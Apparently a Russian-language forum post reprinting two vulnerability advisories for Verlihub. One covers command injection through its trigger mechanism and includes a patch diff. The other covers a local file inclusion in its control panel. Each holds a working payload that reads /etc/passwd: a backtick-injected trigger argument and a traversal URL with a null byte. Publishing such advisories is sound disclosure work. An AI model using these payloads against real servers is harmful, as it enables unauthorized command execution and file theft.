verlihub <= 0.9.8d-RC2 Remote Command Execution Vulnerability
Verlihub 0.9.8 содержит критическую уязвимость позволяющую злоумышленику удаленно выполнить произвольные команды на системе с правами хаба. Уязвимость содержится в механизме триггеров верлихаба который не проверяет посылаемою пользователем информацию.
Код:
== verlihub <=0.9.8d-RC2 remote r00t / command execution =======================
| ' / |
/__ ___ ( /
\\--`-'-|`---\\ |
|' _/ ` __/ /
'._ V ,--'
'_:_._/
description:--------------------------------------------------------------------
"Verlihub is a Direct Connect protocol server; runs on Linux OS; written in
C++."
-- <http://www.verlihub-project.org/>
Verlihub does not sanitize user input passed to the shell via its "trigger"
mechanism. Furthermore, the Verlihub daemon can optionally be configured to
run as root. This allows for the arbitrary execution of commands by users
connected to the hub and, in the case of the daemon running as root,
complete commandeering of the machine.
-- Code Listing: src/ctrigger.cpp : cTrigger::DoIt() -------------------
106 string command(buf); :
107 filename = server.mConfigBaseDir; ,:
108 filename.append("/tmp/trigger.tmp"); | / \ |
109 command.append(" > "); \_\\ //_/
110 command.append(filename); .'/()\'.
111 cout << command << endl; \\ //
112 system(command.c_str());
------------------------------------------------------------------------
vulnerability check:------------------------------------------------------------
# grep allow_exec /etc/verlihub/dbconfig
allow_exec = 1
or
# grep allow_exec $HOME/.verlihub/dbconfig
allow_exec = 1
exploit:------------------------------------------------------------------------
1. Connect to a hub with user triggers allowed and set up to accept
arguments;
2. Run a trigger with a specially crafted argument, e.g.:
+<trigger> `cat /etc/passwd`
where <trigger> is the name of the trigger.
3. ...
patch:--------------------------------------------------------------------------
$ diff src/ctrigger.cpp src/ctrigger.cpp.new
9a10
> #include <stdio.h>
19a21,33
> void strip( char * str, char c )
> {
> char * p1 = str;
> while ( *p1++ )
> if( *p1 == c )
> {
> char * p2 = p1;
> while( *p2 && *p2 == c ) { ++p2; }
> if(*p2) { *p1 = *p2; *p2 = c; }
> else { *p1 = '\0'; break; }
> }
> }
>
107,114c121,145
< filename = server.mConfigBaseDir;
< filename.append("/tmp/trigger.tmp");
< command.append(" > ");
< command.append(filename);
< cout << command << endl;
< system(command.c_str());
< buf = "";
< if (!LoadFileInString(filename,buf)) return 0;
---
> char buffer[ 1024 ];
> FILE * stream;
> buf = "";
> char * cmd = command.c_str();
>
> strip( cmd, ';' ); strip( cmd, '\"' );
> strip( cmd, '\'' ); strip( cmd, '\\' );
> strip( cmd, '`' ); strip( cmd, ':' );
> strip( cmd, '!' ); strip( cmd, '$' );
> strip( cmd, '{' ); strip( cmd, '}' );
> strip( cmd, '[' ); strip( cmd, ']' );
> strip( cmd, '&' ); strip( cmd, '>' );
> strip( cmd, '<' ); strip( cmd, '|' );
> strip( cmd, '~' ); strip( cmd, '/' );
>
> cout << cmd << endl;
> stream = popen( cmd, "r" );
> if ( stream == NULL )
> perror( NULL );
> else
> while( fgets( buffer, 1024, stream )
> != NULL )
> buf.append( buffer );
> if ( pclose( stream ) == -1 )
> perror( NULL );
== eof ======================================== by v4lkyrius at gmail dot com ==
Verlihub Control Panel <= 1.7.x Local File Inclusion VulnerabilityУязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «page». Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера.
Код:
#####################################################################################
#Verlihub Control Panel v 1.7 PHP 4.x Local File Inclusion
#http://vhcp.verlihub- project.org/
#
#Bug Found By Methodman
#From TEAMELITE <-> dchub.nemesis.te-home.net:4120
#####################################################################################
#Bug:
#Line: 27 - ini_set("magic_quotes_gpc","1"); ............................ Line: 71 - $page_name =
#isset($_GET['page']) ? $_GET['page'] : (!isset($_SESSION['verliadmin']) ? 'start' : 'start'); .....Line: 145 - #require_once("./pages/$page_name.php");
#####################################################################################
#NEED: magic_quotes=OFF
#
#NEED: disable_functions=ini_set
#####################################################################################
#
#Exploit:
#
#http://site/path/?page=../../../../../../../../etc/passwd%00
#
#
#####################################################################################
#
#Gr33tZ: To All Members Of TEAMELITE
# Ashura,Lord_Zero,Meka][Meka,Ne0
# AND
# My Friend Elekt From Antichat.
#####################################################################################
#My 3N3mY ?: ...Mish and Dark If Y0u FUck w1t me,I'll pUt my f00t in y0ur aSs !...
#####################################################################################
Вход
FAQ
Поиск
